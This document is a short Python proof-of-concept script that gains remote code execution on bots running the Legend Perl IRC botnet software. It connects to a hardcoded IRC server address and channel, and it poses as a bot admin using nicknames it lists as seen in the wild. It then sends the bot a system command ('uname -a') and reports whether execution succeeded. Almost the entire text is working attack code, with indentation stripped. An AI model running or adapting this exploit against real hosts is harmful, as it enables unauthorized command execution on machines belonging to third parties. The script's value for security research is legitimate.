Simple proof of concept tool to leverage remote code execution on the Legend perl IRC bot.
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# legend_rce.py
# Legend Perl IRC Bot Remote Code Execution PoC
# author: Jay Turla ( @shipcod3 )
# description: This is a RCE PoC for Legend Bot which has been used in the Shellshock spam October 2014.
# reference: http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html
# greetz to ROOTCON (rootcon.org) goons
#
import socket
import sys
def usage():
print("USAGE: python legend_rce.py nick")
print("Sample nicks found in the wild: god, ARZ, Zax, HackTech, TheChozen")
def main(argv):
if len(argv) < 2:
return usage()
#irc server connection settings
botnick = sys.argv[1] #admin payload for taking over the Legend Bot
server = "80.246.50.71" #irc server
channel = "#Apache" #channel where the bot is located
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket
print "connecting to:"+server
irc.connect((server, 2015)) #connects to the server, you can change the port by changing 2015 for example :)
irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :legend.rocks\n") #user authentication
irc.send("NICK "+ botnick +"\n") #sets nick
irc.send("JOIN "+ channel +"\n") #join the chan
irc.send("PRIVMSG "+channel+" :!legend @system 'uname -a' \n") #send the payload to the bot
while 1: #puts it in a loop
text=irc.recv(2040) #receive the text
print text #print text to console
if text.find('PING') != -1: #check if 'PING' is found
irc.send('PONG ' + text.split() [1] + '\r\n') #returns 'PONG' back to the server (prevents pinging out!)
if text.find('!quit') != -1: #quit the Bot
irc.send ("QUIT\r\n")
sys.exit()
if text.find('Linux') != -1:
irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")
irc.send ("QUIT\r\n")
sys.exit()
if __name__ == "__main__":
main(sys.argv)